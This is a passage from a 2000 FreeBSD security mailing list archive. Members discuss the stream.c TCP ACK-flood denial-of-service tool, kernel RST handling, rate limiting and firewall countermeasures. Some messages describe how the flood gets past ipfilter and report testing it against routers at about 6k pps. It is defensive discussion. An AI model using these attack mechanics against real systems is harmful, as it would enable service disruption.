and then sends, lets say 1000 ACK packets to } D> } the same port from same port and source address. SYN packet will open } D> } ipfilter to pass all others packets. This attack doesn't need } D> } randomization for each packet. } } D> Instead of producing RST responses, this will produce ACKs. Your earlier } D> comment about this prompted my comment in another thread about the } D> possible need to rate limit ACK packets. } } This will not produce ACK packets, if ACK send by intruder doesn't } conform sequence number in the SYN/ACK response of victim. Original } stream.c used [snip] } But it's not principial - victim will reply RST for this packet in } most cases. Ok, you are correct. The attacker would have to guess or sniff the initial sequence number in order to produce a flood of ACK responses, so the stack is in better shape than I feared. I'm getting too tired to really analyze this, but I also think that repeatedly sending the original SYN (sorry for the pun) won't cause a flood of responses. I think the victim will periodically resend the SYN+ACK packet for which it expects an ACK. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 6:51:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 8D026156BB for ; Sat, 22 Jan 2000 06:51:02 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id HAA04406; Sat, 22 Jan 2000 07:50:40 -0700 (MST) Message-Id: <4.2.2.20000122071745.019bc4d0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 22 Jan 2000 07:50:35 -0700 To: Jason Young , Matthew Dillon , Dag-Erling Smorgrav From: Brett Glass Subject: RE: Some observations on stream.c and streamnt.c Cc: Keith Stevenson , freebsd-security@FreeBSD.ORG In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 12:42 AM 1/22/2000 , Jason Young wrote: >The job of the FreeBSD TCP/IP stack is to implement the TCP/IP standards in >a correct and reasonable manner for all users. Stopping of probes and other >purposes for which you need to selectively drop certain packets to your >system is an expression of your local policy. The tool used to impose your >local IP packet handling policy is a firewall. The OS is a perfectly good tool for imposing policy as well. In fact, using ipfw or ipfilter to impose policy (only the latter can be used in case of the stream.c exploit) is redundant, since ipfilter must retain tables of connections which duplicate information stored by the protocol stack already. >Drop packets to the ports you're not using and don't want scanned. That's fine, and for that reason there should be an option that doesn't clobber all RSTs. But if you want to hinder scans, you should also drop some packets going to ports you ARE using. The overhead to do this in the stack is small. Let the admin have his choice of policies. I don't think we should penalize him or her for disagreeing with someone else. >If the >port needs to be open, then it can be "scanned" by simply connect()ing to >it. True. However, the idea is to make things more expensive for the cracker, and also to make surreptitious scans more difficult. Forcing him or her to attempt a connection makes mass probes more difficult. >As for bursts of RSTs overloading a server on bootup: If a client sends a >packet to a server, and the server fails to send a RST for whatever reason, >that client will continue retrying for an interval, giving the server >additional chances to reset the connection. Maybe. If many clients are retrying, the server could still see quite a swarm. >Envision a situation where somebody accidentally bumps the Big Red Button on >ftp.cdrom.com, and immediately brings it back up. If it rate-limited its >outgoing RSTs and hit this limit momentarily (and I really think this would >be unlikely in the extreme if the RST rate-limiting threshold is >reasonable), Would it be? Let's suppose that ftp.cdrom.com was handling 5000 connections when you hit the switch. Within a second, you'd get AT LEAST 5000 packets to which you'd need to respond with RSTs. Almost certainly more, due to windowing. The DoS we're talking about here actually sends a volume of packets of the same order of magnitude. So, ftp.cdrom.com, having developed amnesia as a result of the reboot, doesn't have the information to distinguish this flood from the DoS. And before it gets even partway down the list, it'll be getting more -- PLUS new connection attempts. (ftp.cdrom.com is a busy guy -- or is it gal.) >some of its clients will get their session cleared immediately >by an RST, and some of the clients would get no response. The clients' TCP >stack would then retry, and probably get the RST this time around since the >machine is working off its RST workload. Hopefully. >There would have to be some terribly pathological number of connections to >the machine for it not to be able to RST all (active) open TCP sessions >within 2 or 3 client retry cycles. In this case the clients will still >eventually gracefully fail by timeout as if the server had never come back >up. True. But in the meantime, here's this poor server -- struggling to boot -- that's not only being bombarded with packets but trying to respond to them all. If the boot is slowed sufficiently, you could have more downtime than you wanted. I'm sure you've seen how long it takes a FreeBSD server to boot if you pull the network plug at boot time... the boot time under this load could be even longer. So, there are some real tradeoffs to be made here. We shouldn't expect that all system administrators will make the same ones. What we SHOULD do is give them a choice. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 6:59:40 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 343F41564A for ; Sat, 22 Jan 2000 06:59:38 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id HAA04464; Sat, 22 Jan 2000 07:59:17 -0700 (MST) Message-Id: <4.2.2.20000122075811.019bb6c0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 22 Jan 2000 07:59:14 -0700 To: Mark Newton , "Dan Seafeldt, AZ.COM System Administrator" From: Brett Glass Subject: Re: Microsoft Windows Update Cc: security@FreeBSD.ORG In-Reply-To: <20000122192749.C8128@atdot.dotat.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:57 AM 1/22/2000 , Mark Newton wrote: >How does Microsoft deliver fixes for Dos? Install Win98 over the top >of it? :-) The manual for MS-DOS 6 (which I've kept as an example of how brash Microsoft can be) calls it an "upgrade" from OS/2. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 7:19:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id EBE3F14DD8 for ; Sat, 22 Jan 2000 07:19:32 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id IAA04633; Sat, 22 Jan 2000 08:19:26 -0700 (MST) Message-Id: <4.2.2.20000122081057.01992100@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 22 Jan 2000 08:19:23 -0700 To: sthaug@nethelp.no From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG In-Reply-To: <57539.948531872@verdi.nethelp.no> References: <4.2.2.20000122002353.019b9c10@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:04 AM 1/22/2000 , sthaug@nethelp.no wrote: > > You're right. Actually, shouldn't RST- be tossed, > > since you should never reply to a RST? > >Try tcpdump -n 'tcp[13]&4==4' and you'll see a steady stream of RST+ACK >packets. Yes, I forgot: the ACK flag most certainly can be on when RST is on. A RST+ACK is actually specified as the standard response in two situations in the RFC. In fact, the packets evoked by stream.c are RST+ACK packets. RST+SYN and RST+FIN should definitely be dropped. I don't know what one would do with RST+URG or RST+PSH; I would tend to think that one would want to drop these rather than letting them modify the state of any connection, since they could be part of an attack. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 7:31:15 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 4F64814D31 for ; Sat, 22 Jan 2000 07:31:12 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id IAA04701; Sat, 22 Jan 2000 08:31:05 -0700 (MST) Message-Id: <4.2.2.20000122082128.01999ef0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 22 Jan 2000 08:31:02 -0700 To: gdonl@tsc.tdk.com (Don Lewis), Keith Stevenson , freebsd-security@FreeBSD.ORG From: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c In-Reply-To: <200001220955.BAA16447@salsa.gv.tsc.tdk.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:55 AM 1/22/2000 , Don Lewis wrote: >If you attack a destination port that doesn't have a listening socket (or >you attack random ports, most of which won't have listening sockets, inp >will be NULL and the above code will be invoked. ICMP_BANDLIM will keep >the code from falling through to dropwithreset the vast majority of the >time, saving your bacon. Yep. Right now, ICMP_BANDLIM is actually limiting RSTs as well as ICMP packets. I have not seen Matt's patch yet, but would like to see the two separated. >Does anyone else think that the order of the above three tests is exactly >backwards? This attack will really DoS the machine if you have log_in_vain >turned on. I've always thought that log_in_vain should either have or trigger a mechanism like the "repeat detector" in syslogd. As a sysadmin, I'd like it to have its own output limiting mechanism so that it can give me an intelligent summary of an attack rather than "Last message repeated 1000 times." >If the attack is directed against a port with a listening socket, then >the above code is not invoked and the branch to dropwithreset happens >further down in the code at a place no protected by ICMP_BANDLIM. That's part of the fallout of letting an ACK match a listening socket. In your patch (and thank you, by the way; I was going to generate one a lot like it but would have had to CVSup a machine to -CURRENT first!), you've fixed this problem. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 7:32:14 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 0963D15654 for ; Sat, 22 Jan 2000 07:32:03 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id IAA04713; Sat, 22 Jan 2000 08:31:53 -0700 (MST) Message-Id: <4.2.2.20000122083129.018913c0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 22 Jan 2000 08:31:51 -0700 To: Poul-Henning Kamp , "Dan Seafeldt, AZ.COM System Administrator" From: Brett Glass Subject: Re: attack arbitration server Cc: Don Lewis , security@FreeBSD.ORG In-Reply-To: <11944.948537750@critter.freebsd.dk> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 03:42 AM 1/22/2000 , Poul-Henning Kamp wrote: >It would be a much better idea to start a MAPS like effort to get >people to install proper egress filters on their networks. Just so it's like MAPS rather than ORBS. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 7:53: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id E2A7E14F7B for ; Sat, 22 Jan 2000 07:52:59 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id IAA04850; Sat, 22 Jan 2000 08:52:42 -0700 (MST) Message-Id: <4.2.2.20000122083929.01a5aa90@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 22 Jan 2000 08:52:38 -0700 To: Don Lewis , Vladimir Dubrovin , Tim Yardley From: Brett Glass Subject: Re: Re[2]: explanation and code for stream.c issues Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <200001221058.CAA16745@salsa.gv.tsc.tdk.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 03:58 AM 1/22/2000 , Don Lewis wrote: >} By the way - published stream.c doesn't use ACK bit at all. >} packet.tcp.th_flags = 0; > >There was a correction published that changed this to set the ACK bit. True. But y'know, he does have a point. Shouldn't tcp_input() drop or reject anything with certain combinations of flags really early on? About 15 years ago (has it been that long?) I wrote part of a TCP/IP stack for a class at Stanford. The first statement in the routine which was the equivalent of tcp_input() checksummed the packet. The second one was a "case" (this was Pascal) that broke out cases for every combination of the TCP option flags. (The compiler implemented case statements as jump tables, so this was fast.) Do you think it's worth doing that here, both for clarity and for speed? It would probably help to catch all the issues involving option flags, and it would be more efficient than the current structure (which does lots of tests one at a time and is harder to follow). --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 8:23:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.veriohosting.com (gatekeeper.veriohosting.com [192.41.0.2]) by hub.freebsd.org (Postfix) with ESMTP id A10DD14A15 for ; Sat, 22 Jan 2000 08:23:19 -0800 (PST) (envelope-from hart@iserver.com) Received: by gatekeeper.veriohosting.com; Sat, 22 Jan 2000 09:23:18 -0700 (MST) Received: from unknown(192.168.1.109) by gatekeeper.veriohosting.com via smap (V3.1.1) id xma001150; Sat, 22 Jan 00 09:22:50 -0700 Received: (hart@localhost) by anchovy.orem.iserver.com (8.9.3) id JAA23384; Sat, 22 Jan 2000 09:22:26 -0700 (MST) Date: Sat, 22 Jan 2000 09:22:26 -0700 (MST) From: Paul Hart X-Sender: hart@anchovy.orem.iserver.com To: Brad Guillory Cc: freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c In-Reply-To: <20000121171759.D56672@baileylink.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 21 Jan 2000, Brad Guillory wrote: > I don't understand how a "script kiddie" is going to garner the > bandwidth to run an attack into the multi-megabit range. I see you've never been the victim of a smurf attack. ;-) Paul Hart -- Paul Robert Hart ><8> ><8> ><8> Verio Web Hosting, Inc. hart@iserver.com ><8> ><8> ><8> http://www.iserver.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 9: 2:48 2000 Delivered-To: freebsd-security@freebsd.org Received: from sand2.sentex.ca (sand2.sentex.ca [209.167.248.3]) by hub.freebsd.org (Postfix) with ESMTP id F1ECE14CAE for ; Sat, 22 Jan 2000 09:02:45 -0800 (PST) (envelope-from mike@sentex.net) Received: from p10 (ospf-mdt.sentex.net [205.211.164.81]) by sand2.sentex.ca (8.9.3/8.9.3) with SMTP id MAA81647 for ; Sat, 22 Jan 2000 12:02:40 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.1.20000122115759.0091adc0@granite.sentex.ca> X-Sender: mdtancsa@granite.sentex.ca X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Sat, 22 Jan 2000 12:01:20 -0500 To: freebsd-security@freebsd.org From: Mike Tancsa Subject: Majordomo - ports or new version Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The AUScert advisory mentions that > The vendors of majordomo have produced a minor software release which > addresses the vulnerability in versions 1.94.4 and earlier. Sites using > affected versions should immediately upgrade to majordomo 1.94.5 which > is available from: > > ftp://ftp.greatcircle.com/pub/majordomo/1.94.5/majordomo-1.94.5.tgz > ftp://ftp.sgi.com/other/majordomo/majordomo-1.94.5.tgz I know in the ports there are patches against .4 to address this issue, but does anyone have any reccomendations on which to use ? .4 patches out of the ports, or .5 direct from greatcircle ? ---Mike ********************************************************************** Mike Tancsa * mike@sentex.net Sentex Communications Corp, * http://www.sentex.net/mike Cambridge, Ontario * 519 651 3400 Canada * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 10:33:43 2000 Delivered-To: freebsd-security@freebsd.org Received: from news-ma.rhein-neckar.de (news-ma.rhein-neckar.de [193.197.90.3]) by hub.freebsd.org (Postfix) with ESMTP id C5A33157E4 for ; Sat, 22 Jan 2000 10:33:34 -0800 (PST) (envelope-from daemon@bigeye.rhein-neckar.de) Received: from bigeye.rhein-neckar.de (uucp@localhost) by news-ma.rhein-neckar.de (8.8.8/8.8.8) with bsmtp id TAA05349 for freebsd-security@freebsd.org; Sat, 22 Jan 2000 19:33:22 +0100 (CET) (envelope-from daemon@bigeye.rhein-neckar.de) Received: (from daemon@localhost) by bigeye.rhein-neckar.de (8.9.3/8.9.3) id SAA68462 for freebsd-security@freebsd.org; Sat, 22 Jan 2000 18:41:47 +0100 (CET) (envelope-from daemon) From: naddy@mips.rhein-neckar.de (Christian Weisgerber) Subject: Re: Majordomo - ports or new version Date: 22 Jan 2000 18:41:46 +0100 Message-ID: <86cq4q$22r5$1@bigeye.rhein-neckar.de> References: <4.1.20000122115759.0091adc0@granite.sentex.ca> To: freebsd-security@freebsd.org Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mike Tancsa wrote: > but does anyone have any reccomendations on which to use ? .4 > patches out of the ports, or .5 direct from greatcircle ? Get .5, update the port, send-pr the diff. -- Christian "naddy" Weisgerber naddy@mips.rhein-neckar.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 11: 6:47 2000 Delivered-To: freebsd-security@freebsd.org Received: from ns.altadena.net (pas1-ont.clubnet.net [206.126.145.62]) by hub.freebsd.org (Postfix) with ESMTP id BA58C156A9 for ; Sat, 22 Jan 2000 11:06:41 -0800 (PST) (envelope-from pete@ns.altadena.net) Received: (from pete@localhost) by ns.altadena.net (8.9.3/8.8.8) id LAA83395 for security@freebsd.org; Sat, 22 Jan 2000 11:06:36 -0800 (PST) (envelope-from pete) From: Pete Carah Message-Id: <200001221906.LAA83395@ns.altadena.net> Subject: RE: Some observations on stream.c and streamnt.c To: security@freebsd.org Date: Sat, 22 Jan 2000 11:06:36 -0800 (PST) X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Well, our (Bay) router is rendered silent (doesn't reboot) just routing this attack through itself at around 6k pps. If aimed at the router it gets silent faster but never seems to need a reboot (of course, I don't want to try this too long on the particular router). This is an ARN at 13.01, should have lots of CPU for 6k pps of this attack. I Don't know why just relaying the attack to the other ethernet has such a dramatic effect. (about 2k pps get through for a few seconds then it sleeps completely). It is not affected if the attack is against a host (fbsd or mac) on the same segment, so the "side-effect" multicast, etc packets don't seem to be bothering the router, at least not soon... Don't know what our upstream sees :-) We tried this against fbsd (2.2.8-stable, 3.3 and 3.4) with no apparent results, but "only" at 6k pps for 5-10 mins. It didn't affect a Mac (i-mac at 8.6 or a powerbook at 9.0) at all other than to lengthen the ping times about 1/2 msec (tried both to listening and non-listening ports). We didn't have time to try windoze or either Cisco. (I didn't compile this for a "fast" machine, only my laptop which can only get to 6700 or so pps.) A flowpoint 2200 DSL router as target with old firmware (1.4.x) is affected in an interesting way; it takes ping times from 1msec to around 7 for 20 pings, then drops about 5 sec of (all) packets, then cycles again without rebooting. Apparently when it runs out of buffers it garbage-collects rather slowly and otherwise recovers. Haven't tried this on current firmware. -- Pete To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 12:30:39 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 9B05E14FE0 for ; Sat, 22 Jan 2000 12:30:37 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id NAA07105; Sat, 22 Jan 2000 13:30:29 -0700 (MST) Message-Id: <4.2.2.20000122132751.01aab6e0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 22 Jan 2000 13:30:27 -0700 To: Pete Carah , security@FreeBSD.ORG From: Brett Glass Subject: RE: Some observations on stream.c and streamnt.c In-Reply-To: <200001221906.LAA83395@ns.altadena.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 12:06 PM 1/22/2000 , Pete Carah wrote: >Well, our (Bay) router is rendered silent (doesn't reboot) just >routing this attack through itself at around 6k pps. If aimed at >the router it gets silent faster but never seems to need a reboot (of >course, I don't want to try this too long on the particular router). ... >It is not affected if the attack is against a host (fbsd or mac) on the >same segment, so the "side-effect" multicast, etc packets don't seem to >be bothering the router, at least not soon... Don't know what our >upstream sees :-) Maybe it's seeing an "internal" storm. That is, the ACK triggers a RST which is sent to a multicast address which is trapped by the routing table which triggers an ICMP "unreachable" message which is bounced internally to... you get the idea. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 13: 9:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from mx2.x-treme.gr (mx2.x-treme.gr [212.120.192.15]) by hub.freebsd.org (Postfix) with ESMTP id AA01314F63 for ; Sat, 22 Jan 2000 13:09:24 -0800 (PST) (envelope-from keramida@diogenis.ceid.upatras.gr) Received: from hades.hell.gr (pat23.x-treme.gr [212.120.197.215]) by mx2.x-treme.gr (8.9.3/8.9.3/IPNG-ADV-ANTISPAM-0.1) with ESMTP id XAA24235; Sat, 22 Jan 2000 23:09:16 +0200 Received: (from charon@localhost) by hades.hell.gr (8.9.3/8.9.3) id SAA30161; Sat, 22 Jan 2000 18:28:01 +0200 (EET) (envelope-from keramida@diogenis.ceid.upatras.gr) Date: Sat, 22 Jan 2000 18:28:01 +0200 From: Giorgos Keramidas To: Brett Glass Cc: Matthew Dillon , Dag-Erling Smorgrav , Keith Stevenson , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c Message-ID: <20000122182801.A30103@hades.hell.gr> Reply-To: keramida@ceid.upatras.gr References: <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> <4.2.2.20000121195112.0196a220@localhost> <200001220353.TAA66856@apollo.backplane.com> <4.2.2.20000121210443.01981600@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <4.2.2.20000121210443.01981600@localhost> X-PGP-Fingerprint: 62 45 D1 C9 26 F9 95 06 D6 21 2A C8 8C 16 C0 8E X-Phone-Number: +30-94-6203692, +30-93-2886457 X-Address: Theodorou Kirinaiou 61, 26334 Patra, Greece Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 09:26:39PM -0700, Brett Glass wrote: > At 08:53 PM 1/21/2000 , Matthew Dillon wrote: > > > Brett, it's an interesting rationalization, but it's completely wrong. > > If you think a moment you will find that there are plenty of RST situations > > long after boot. Think of all those dialup connections where people > > turn off their modems before disconnecting, for example. At BEST our > > servers always had a large number of hanging connections from that > > sort of situation. > > This is really a different situation. In this case, the system is acting like > a router. The packet never gets to the TCP level on the host, or shouldn't, > during the call. When the user hangs up, your PPP software might want to > send a bunch of RSTs to shut down the caller's sessions (if it's been > tracking them). Or just do what a router does, and flag the machine > as down. I don't know of any beast that can track down connections of it's dialup interfaces. If you have one of these, I'm really gealous. Seriously now, you can't just stop sending RSTs forever. This creates a lot of problems, while trying to solve just one. Most problems occur when a host gets down for a while, or some dialup user toggles his on/off switch to the modem, causing some other to dial into his old IP, etc. > > As far as port probing goes: So what? Do you think preventing people > > from identifying your machine will make it more secure? > > No, but it'll make it harder to figure out which 'sploits to try. It's the > difference between leaving the door visibly wide open and forcing the > cracker to TRY the door. If I can waste a cracker's time, I want to. Got a point there. But this can be done with simple firewall rules for anyone who's interested in doing it. Both ipfw and ipfilter can be set up to drop without an icmp SYN+FIN packets. -- Giorgos Keramidas, < keramida @ ceid . upatras . gr > "Don't let your schooling interfere with your education." [Mark Twain] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 13: 9:48 2000 Delivered-To: freebsd-security@freebsd.org Received: from mx2.x-treme.gr (mx2.x-treme.gr [212.120.192.15]) by hub.freebsd.org (Postfix) with ESMTP id 8F69814F4C for ; Sat, 22 Jan 2000 13:09:23 -0800 (PST) (envelope-from keramida@diogenis.ceid.upatras.gr) Received: from hades.hell.gr (pat23.x-treme.gr [212.120.197.215]) by mx2.x-treme.gr (8.9.3/8.9.3/IPNG-ADV-ANTISPAM-0.1) with ESMTP id XAA24220; Sat, 22 Jan 2000 23:09:09 +0200 Received: (from charon@localhost) by hades.hell.gr (8.9.3/8.9.3) id SAA30080; Sat, 22 Jan 2000 18:14:29 +0200 (EET) (envelope-from keramida@diogenis.ceid.upatras.gr) Date: Sat, 22 Jan 2000 18:14:29 +0200 From: Giorgos Keramidas To: Warner Losh Cc: Don Lewis , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000122181429.A30060@hades.hell.gr> Reply-To: keramida@ceid.upatras.gr References: <200001220551.VAA15775@salsa.gv.tsc.tdk.com> <200001220609.XAA18444@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <200001220609.XAA18444@harmony.village.org> X-PGP-Fingerprint: 62 45 D1 C9 26 F9 95 06 D6 21 2A C8 8C 16 C0 8E X-Phone-Number: +30-94-6203692, +30-93-2886457 X-Address: Theodorou Kirinaiou 61, 26334 Patra, Greece Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 11:09:39PM -0700, Warner Losh wrote: > In message <200001220551.VAA15775@salsa.gv.tsc.tdk.com> Don Lewis writes: > : (b) still needs to be generalized to cover other paths that generate > : RST packets. > > I think that the discarding of multi-cast packets is one of those > can't hurt sorts of things. Yup, it didn't hurt me at all when I used the ipfilter rules shown below all day today. I didn't try stream'ing my machines but I suspect these rules will stay with me until I know the kernel does the same thing by default: pass in on ppp0 head 100 block in proto tcp from 224.0.0.0/4 to any group 100 block out proto tcp from any to 224.0.0.0/4 -- Giorgos Keramidas, < keramida @ ceid . upatras . gr > "Don't let your schooling interfere with your education." [Mark Twain] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 17:42:48 2000 Delivered-To: freebsd-security@freebsd.org Received: from gate.az.com (gate.az.com [216.145.8.252]) by hub.freebsd.org (Postfix) with ESMTP id 226761502B for ; Sat, 22 Jan 2000 17:42:45 -0800 (PST) (envelope-from yankee@gate.az.com) Received: (from yankee@localhost) by gate.az.com (8.8.5/8.8.5) id RAA02885; Sat, 22 Jan 2000 17:42:42 -0800 (PST) Date: Sat, 22 Jan 2000 17:42:41 -0800 (PST) From: "Dan Seafeldt, AZ.COM System Administrator" To: Poul-Henning Kamp Cc: sthaug@nethelp.no, gdonl@tsc.tdk.com, security@FreeBSD.ORG Subject: Re: MAPS effort In-Reply-To: <12128.948540545@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If ISP Z has 2 frame relay PVCS on a serial connection using a say a cisco 2501 and uses upstream ISP A and ISP B and ISP A is on PVC #16 and routing 199.199.199.x and big ISP B is on PVC #17 and routing 200.200.200.x and then ISP Z decides to use PVC #16 as the default gateway then all source packets, even the ones from machines on the 200.200.200.x segment would go out the 199.199.199.x gateway. Now if the upstream ISP A chose to block 200.200.200.x on the egress it would cut off ISP Z's machines that used the 200 addresses (packets can come in on PVC #17 but can't go out PVC #16 and then get through the upstream egress block) and of course the opposite would be true if the ISP Z decided to make PVC #17 the default gateway and ISP B blocked the 199 addresses on the egress router. On Sat, 22 Jan 2000, Poul-Henning Kamp wrote: > In message , "Dan Seafel > dt, AZ.COM System Administrator" writes: > > > >I have a CISCO router upgraded to pre-release 12.0 and will look at that. > >And regarding the mention of MAPS effort, I thought about that but I was > >worried about all the ISP's out there who may use one > >gateway/router to connect 2 separate upstream netblocks without any use of > >BGP. In this case, it is possible that outbound packets will always go > >through one upstream ISP even though the returns end up going through 2 > >different ISP's For example, a CISCO 2600 series with one Frame Relay > >connection and 2 PVCS to two different upsteams, and the gateway set to one > >of these PVC's with a different class C coming down each PVC's > > > >I could see where an egress block enabled by the upstream provider who is > >not the gateway would shut down access to that class C. Not all ISP's can > >afford to or understand how to implement BGP but want some amount of > >redudancy or additional bandwidth via 2 different upstreams. > > You know, that would be the most lame excuse for not doing anything > about this I have heard so far. > > That ISP, can still put egress filters on both their outgoing PVCs > as long as they allow both C classes both ways. > > But I would be terribly 